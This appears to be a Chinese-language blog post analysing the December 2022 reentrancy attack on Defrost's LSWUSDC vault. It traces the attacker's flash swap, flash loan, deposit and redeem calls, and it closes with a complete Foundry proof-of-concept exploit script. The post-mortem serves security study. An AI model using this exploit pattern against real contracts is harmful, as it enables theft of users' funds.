{"content":{"title":"Defrost项目攻击事件","body":"### 20221223 - Defrost - Reentrancy\r\n\r\nhttps://twitter.com/PeckShieldAlert/status/1606276020276891650\r\n\r\n## 漏洞简介\r\n\r\nhttps://twitter.com/PeckShieldAlert/status/1606276020276891650\r\n\r\n## 相关地址和交易\r\n\r\n攻击者地址：\r\n\r\n`0x7373dca267bdc623dfba228696c9d4e8234469f6`\r\n\r\n攻击合约地址：\r\n\r\n`0x792e8f3727cad6e00c58d478798f0907c4cec340`\r\n\r\n被攻击合约地址（`LSWUSDC`）：\r\n\r\n`0xff152e21c5a511c478ed23d1b89bb9391be6de96`\r\n\r\n`trader joe wavax/usdc pair`地址：\r\n\r\n`0xf4003f4efbe8691b60249e6afbd307abe7758adb`\r\n\r\n这个是`trader joe v1`的流动性交易对\r\n\r\n## 获利分析\r\n\r\n\r\n![图像2023-3-5 18.04.jpeg](https://img.learnblockchain.cn/attachments/2023/03/MvR19CzK6404ae5c04067.jpeg)\r\n\r\n## 攻击过程&漏洞原因\r\n\r\n首先使用`LSWUSDC`的`maxFlashLoan`函数查处最多可以提出`usdc`的数目：`194263946118`\r\n\r\n调用`LSWUSDC`的`flashfee`函数计算出`flashloan 194263946118`数目的`token`需要`19426394`数目的手续费\r\n\r\n从攻击地址向攻击合约转入`19426394`数目的手续费\r\n\r\n调用`wavax/usdc`交易对代码中的`swap`\r\n\r\n`function swap(\r\n        uint256 amount0Out,\r\n        uint256 amount1Out,\r\n        address to,\r\n        bytes calldata data\r\n    ) external lock {}`\r\n\r\n```solidity\r\nfunction swap(\r\n        uint256 amount0Out,\r\n        uint256 amount1Out,\r\n        address to,\r\n        bytes calldata data\r\n    ) external lock {\r\n        require(\r\n            amount0Out > 0 || amount1Out > 0,\r\n            \"Joe: INSUFFICIENT_OUTPUT_AMOUNT\"\r\n        );\r\n        (uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings    \r\n        require(\r\n            amount0Out < _reserve0 && amount1Out < _reserve1,\r\n            \"Joe: INSUFFICIENT_LIQUIDITY\"\r\n        );\r\n\r\n        uint256 balance0;\r\n        uint256 balance1;\r\n        {\r\n            // scope for _token{0,1}, avoids stack too deep errors\r\n            address _token0 = token0;\r\n            address _token1 = token1;\r\n            require(to != _token0 && to != _token1, \"Joe: INVALID_TO\");\r\n            // 转移amount0Out的_token0到to地址\r\n            if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens\r\n            // 转移amount1Out的_token1到to地址\r\n            if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens\r\n            // 交换函数的回调函数\r\n            if (data.length > 0)\r\n                IJoeCallee(to).joeCall(\r\n                    msg.sender,\r\n                    amount0Out,\r\n                    amount1Out,\r\n                    data\r\n                );\r\n            // 当前合约拥有的_token0数目\r\n            balance0 = IERC20Joe(_token0).balanceOf(address(this));\r\n            // 当前合约拥有的_token1数目\r\n            balance1 = IERC20Joe(_token1).balanceOf(address(this));\r\n        }\r\n        // 计算出token0输入的数量\r\n        uint256 amount0In = balance0 > _reserve0 - amount0Out\r\n            ? balance0 - (_reserve0 - amount0Out)\r\n            : 0;\r\n        // 计算出token1输入的数量\r\n        uint256 amount1In = balance1 > _reserve1 - amount1Out\r\n            ? balance1 - (_reserve1 - amount1Out)\r\n            : 0;\r\n        require(\r\n            amount0In > 0 || amount1In > 0,\r\n            \"Joe: INSUFFICIENT_INPUT_AMOUNT\"\r\n        );\r\n        {\r\n            // scope for reserve{0,1}Adjusted, avoids stack too deep errors\r\n            uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));\r\n            uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));\r\n            require(\r\n                balance0Adjusted.mul(balance1Adjusted) >=\r\n                    uint256(_reserve0).mul(_reserve1).mul(1000**2),\r\n                \"Joe: K\"\r\n            );\r\n        }\r\n\r\n        _update(balance0, balance1, _reserve0, _reserve1);\r\n        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);\r\n    }\r\n```\r\n\r\n```json\r\n{\r\n \"caller\":\"0xf4003f4efbe8691b60249e6afbd307abe7758adb\",\r\n \"inputs\":\r\n \t\t\t\t[\r\n         \t{\r\n\t\t\t\t\t\tamount0Out:\"0\"\r\n\t\t\t\t\t}\t\r\n         \t{\r\n           \tamount1Out:\"194,263,946,117\"\r\n         \t}\r\n\t\t\t\t\t{\r\n            to:\"0x792e8f3727cad6e00c58d478798f0907c4cec340\"\r\n          }\r\n\t\t\t\t\t{\r\n            data:\"0x6b696d696d696d69\"\r\n          }\r\n        ],\r\n \toutputs:\r\n  []\r\n}\r\n```\r\n\r\n由代码可知`msg.sender = JLP = 0xf4003f4efbe8691b60249e6afbd307abe7758adb`交换数目`194263946117` 的 `USDC` 到`0x792e8f3727cad6e00c58d478798f0907c4cec340`(攻击者合约地址)\r\n\r\n再由回调函数\r\n\r\n`IJoeCallee(to).joeCall(\r\n                    msg.sender,\r\n                    amount0Out,\r\n                    amount1Out,\r\n                    data\r\n                );`\r\n\r\n进入回调函数中\r\n\r\n调用`maxFlashLoan`查看当前`LSWUSDC`有`194263946118`个`USDC`\r\n\r\n`LSWUSDC`调用`flashLoan`向`LSWUSDC`借出`194263946117`数量的`USDC`\r\n\r\n```json\r\n{\r\n  caller: \"0x792e8f3727cad6e00c58d478798f0907c4cec340\"\r\n  inputs: [\r\n    {\r\n      receiver: \"0x792e8f3727cad6e00c58d478798f0907c4cec340\"\r\n    }\r\n    {\r\n      token: \"0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e\"\r\n    }\r\n    {\r\n      amount: \"194,263,946,117\"\r\n    }\r\n    {\r\n      data: \"0x\"\r\n    }\r\n  ]\r\n  outputs: [\r\n    {\r\n      out0: true\r\n    }\r\n  ]\r\n}\r\n```\r\n\r\n`flashLoan`函数，这里的`baseSuperToken`合约是`abstract`，所以`onWithdraw`函数等没有实现\r\n\r\n\r\n```solidity\r\nfunction flashLoan(\r\n        IERC3156FlashBorrower receiver,\r\n        address token,\r\n        uint256 amount,\r\n        bytes calldata data\r\n    ) external virtual returns (bool) {\r\n    \t\t// asset = USDC\r\n        require(token == address(asset),\"flash borrow token Error!\");\r\n        uint256 fee = flashFee(token, amount);\r\n        onWithdraw(address(receiver),amount);\r\n        require(\r\n            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,\r\n            \"invalid return value\"\r\n        );\r\n        onDeposit(address(receiver),amount + fee,0);\r\n        emit FlashLoan(msg.sender,address(receiver),token,amount);\r\n        return true;\r\n    }\r\n```\r\n\r\n具体实现`superSwitchErc20.sol`\r\n\r\n```solidity\r\nfunction onWithdraw(address account,uint256 _amount)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){\r\n        if (lendingSwitch == 0){\r\n            return superAaveTokenImpl.onWithdraw(account,_amount);\r\n        }else{\r\n            return superQiErc20Impl.onWithdraw(account,_amount);\r\n        }\r\n    }\r\n```\r\n\r\n`superAaveTokenImpl.sol`\r\n\r\n```solidity\r\nfunction onWithdraw(address account,uint256 _amount)internal virtual override returns(uint256){\r\n        uint256 amount = aavePool.withdraw(address(asset), _amount, address(this));\r\n        asset.safeTransfer(account, amount);\r\n        return amount;\r\n    }\r\n```\r\n\r\n`amount = 194263946117`,再将`USDC`从被攻击地址发送到攻击合约地址，也就是攻击合约借出`194263946117 USDC`\r\n\r\n接着`receiver.onFlashLoan`，这个也是回调接口\r\n\r\n```solidity\r\nrequire(\r\n            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,\r\n            \"invalid return value\"\r\n        );\r\ninterface IERC3156FlashBorrower {\r\n    /**\r\n     * @dev Receive a flash loan.\r\n     * @param initiator The initiator of the loan.\r\n     * @param token The loan currency.\r\n     * @param amount The amount of tokens lent.\r\n     * @param fee The additional amount of tokens to repay.\r\n     * @param data Arbitrary data structure, intended to contain user-defined parameters.\r\n     * @return The keccak256 hash of \"IERC3156FlashBorrower.onFlashLoan\"\r\n     */\r\n    function onFlashLoan(\r\n        address initiator,\r\n        address token,\r\n        uint256 amount,\r\n        uint256 fee,\r\n        bytes calldata data\r\n    ) external returns (bytes32);\r\n}\r\n```\r\n\r\n```json\r\n{\r\n  caller: \"0xff152e21c5a511c478ed23d1b89bb9391be6de96\"\r\n  inputs: [\r\n    {\r\n      initiator: \"0x792e8f3727cad6e00c58d478798f0907c4cec340\"\r\n    }\r\n    {\r\n      token: \"0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e\"\r\n    }\r\n    {\r\n      amount: \"194,263,946,117\"\r\n    }\r\n    {\r\n      fee: \"19,426,394\"\r\n    }\r\n    {\r\n      data: \"0x\"\r\n    }\r\n  ]\r\n  outputs: [\r\n    {\r\n      out0: \"0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9\"\r\n    }\r\n  ]\r\n}\r\n```\r\n\r\n在接口函数`onFlashLoan`中\r\n\r\n攻击合约授权给被攻击合约`uint256.max`数量的`USDC`\r\n\r\n`LSWUSDC`将攻击合约贷出的`194263946117`数量的`USDC` `deposit`进去\r\n\r\n给攻击合约地址`mint`一定数量的`LendingwithUSDCoin`\r\n\r\n```solidity\r\nfunction deposit(uint256 _amount, address receiver) external returns (uint256){\r\n    uint256 amount = _deposit(msg.sender,_amount,receiver);\r\n    emit Deposit(msg.sender,receiver,_amount,amount);\r\n    return amount;\r\n}\r\n```\r\n\r\n```solidity\r\nfunction _deposit(address from,uint256 _amount, address receiver) internal returns (uint256){\r\n        // Gets the amount of stakeToken locked in the contract\r\n        // 得到总的质押token数量\r\n        // aaveUSDC = 1\r\n        uint256 totaStake = getTotalAssets();\r\n        // Gets the amount of superToken in existence\r\n        // 得到目前的superToken\r\n        uint256 totalShares = totalSupply();\r\n        // 算出_amount\r\n        _amount = onDeposit(from,_amount,feeRate[enterFeeID]);\r\n        // If no superToken exists, mint it 1:1 to the amount put in\r\n        if (totalShares == 0 || totaStake == 0) {\r\n            _mint(receiver, _amount);\r\n            return _amount;\r\n        }\r\n        // Calculate and mint the amount of superToken the stakeToken is worth. The ratio will change overtime, as superToken is burned/minted and stakeToken deposited + gained from fees / withdrawn.\r\n        else {\r\n            uint256 what = _amount.mul(totalShares)/totaStake;\r\n            require(what>0,\"super token mint 0!\");\r\n            _mint(receiver, what);\r\n            return what;\r\n        }\r\n}\r\n```\r\n\r\n```solidity\r\nfunction onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){\r\n        if (lendingSwitch == 0){\r\n            return superAaveTokenImpl.onDeposit(account,_amount,_fee);\r\n        }else{\r\n            return superQiErc20Impl.onDeposit(account,_amount,_fee);\r\n        }\r\n    }\r\n```\r\n\r\n```solidity\r\nfunction onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override returns(uint256){\r\n\t\t\t\t// account = from = 0x792e8f3727cad6e00c58d478798f0907c4cec340\r\n\t\t\t\t// address(this) = 0xff152e21c5a511c478ed23d1b89bb9391be6de96\r\n\t\t\t\t// _amount = 194263946117\r\n        asset.safeTransferFrom(account, address(this), _amount);\r\n        return aaveSupply(_fee);\r\n}\r\n```\r\n\r\n到这里`onFlashLoan`的回调函数运行结束，结果就是从`LSWUSDC`中借出`194263946117`的`USDC`又被质押回去了,给了`aave pool`,现在的`aavetoken = 0x625e7708f30ca75bfd92586e17077590c60eb4cd = aAvaUSDC = 194263946117`\r\n\r\n下面运行`onDeposit`函数，就是将借出的钱加上`fee`还回去\r\n\r\n```solidity\r\nfunction flashLoan(\r\n        IERC3156FlashBorrower receiver,\r\n        address token,\r\n        uint256 amount,\r\n        bytes calldata data\r\n    ) external virtual returns (bool) {\r\n        ....\r\n        onDeposit(address(receiver),amount + fee,0);\r\n        emit FlashLoan(msg.sender,address(receiver),token,amount);\r\n        return true;\r\n    }\r\n```\r\n\r\n```solidity\r\nfunction onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){\r\n        if (lendingSwitch == 0){\r\n            return superAaveTokenImpl.onDeposit(account,_amount,_fee);\r\n        }else{\r\n            return superQiErc20Impl.onDeposit(account,_amount,_fee);\r\n        }\r\n    }\r\n```\r\n\r\n```solidity\r\nfunction onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override returns(uint256){\r\n        asset.safeTransferFrom(account, address(this), _amount);\r\n        return aaveSupply(_fee);\r\n    }\r\n```\r\n\r\n运行`safeTransferFrom`,结果：\r\n\r\n```json\r\n{\r\n  caller: \"0xff152e21c5a511c478ed23d1b89bb9391be6de96\"\r\n  inputs: [\r\n    {\r\n      sender: \"0x792e8f3727cad6e00c58d478798f0907c4cec340\"\r\n    }\r\n    {\r\n      recipient: \"0xff152e21c5a511c478ed23d1b89bb9391be6de96\"\r\n    }\r\n    {\r\n      amount: \"194,283,372,511\"\r\n    }\r\n  ]\r\n  outputs: [\r\n    {\r\n      out0: true\r\n    }\r\n  ]\r\n}\r\n```\r\n\r\n`LSWUSDC balance = 1844317410414`\r\n\r\n`LSWUSDC`调用`redeem`函数，最终获得`368503793484`数量的`USDC`，这里是因为前面回调函数`deposit`中转入了\r\n\r\n`194263946117`数量的`USDC`,而闪电贷函数后面还钱的时候又转入了`194283372511`数量的`USDC`，所以就变多了，这样就是盗取的钱\r\n\r\n```solidity\r\nfunction redeem(uint256 shares,address receiver,address owner) external returns (uint256) {\r\n        uint256 _value = convertToAssets(shares);\r\n        _withdraw(_value,shares,receiver,owner);\r\n        emit Withdraw(msg.sender,receiver,_value,shares);\r\n        return _value;\r\n}\r\nfunction _withdraw(uint256 _assetNum,uint256 _shareNum,address receiver,address owner) internal {\r\n        require(msg.sender == owner,\"owner must be msg.sender!\");\r\n        require(_shareNum>0,\"super token burn 0!\");\r\n        _burn(msg.sender, _shareNum);\r\n        _assetNum = onWithdraw(receiver, _assetNum);\r\n}\r\nfunction onWithdraw(address account,uint256 _amount)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){\r\n        if (lendingSwitch == 0){\r\n            return superAaveTokenImpl.onWithdraw(account,_amount);\r\n        }else{\r\n            return superQiErc20Impl.onWithdraw(account,_amount);\r\n        }\r\n}\r\nfunction onWithdraw(address account,uint256 _amount)internal virtual override returns(uint256){\r\n        uint256 amount = aavePool.withdraw(address(asset), _amount, address(this));\r\n        asset.safeTransfer(account, amount);\r\n        return amount;\r\n}\r\n```\r\n\r\n把`194866164349`数量的`USDC`还给`JLP`\r\n\r\n这样`IJoeCallee`的回调函数结束\r\n\r\n### 漏洞原因\r\n\r\n这里的`flashLoan`函数中，没有进行重入判断，在`flashLoan`里面可以进行`deposit`操作，这就需要两次转入，所以前面使用了`trader joe`的`pair`\r\n\r\n## POC\r\n\r\n```solidity\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.10;\r\n\r\nimport \"forge-std/Test.sol\";\r\nimport \"./interface.sol\";\r\n\r\n// @Analysis\r\n// https://twitter.com/PeckShieldAlert/status/1606276020276891650\r\n// @TX\r\n// https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d\r\n\r\ninterface LSWUSDC{\r\n    function maxFlashLoan(address token) external view returns(uint256);\r\n    function flashFee(address token, uint256 amount) external view returns(uint256);\r\n    function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;\r\n    function deposit(uint256 amount, address to) external returns(uint256);\r\n    function redeem(uint256 shares, address receiver, address owner) external;\r\n}\r\n\r\ncontract ContractTest is DSTest{\r\n    IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);\r\n    LSWUSDC LSW = LSWUSDC(0xfF152e21C5A511c478ED23D1b89Bb9391bE6de96);\r\n    Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);\r\n    uint flashLoanAmount;\r\n    uint flashLoanFee; \r\n    uint depositAmount;\r\n\r\n    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\r\n\r\n    function setUp() public {\r\n        cheats.createSelectFork(\"Avalanche\", 24003940);\r\n    }\r\n\r\n    function testExploit() public{\r\n        flashLoanAmount = LSW.maxFlashLoan(address(USDC));\r\n        flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);\r\n        Pair.swap(0, flashLoanAmount + flashLoanFee, address(this), new bytes(1));\r\n\r\n        emit log_named_decimal_uint(\r\n            \"[End] Attacker USDC balance after exploit\",\r\n            USDC.balanceOf(address(this)),\r\n            6\r\n        );\r\n    }\r\n\r\n    function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external{\r\n        LSW.flashLoan(address(this), address(USDC), flashLoanAmount, new bytes(1));\r\n        LSW.redeem(depositAmount, address(this), address(this));\r\n        USDC.transfer(address(Pair), (flashLoanAmount + flashLoanFee)* 1000 / 997 + 1000);\r\n    }\r\n\r\n    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns(bytes32){\r\n        USDC.approve(address(LSW), type(uint).max);\r\n        depositAmount = LSW.deposit(flashLoanAmount, address(this));\r\n        return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\r\n    }\r\n\r\n}\r\n```"},"author":{"user":"https://learnblockchain.cn/people/11989","address":null},"history":null,"timestamp":1678028394,"version":1}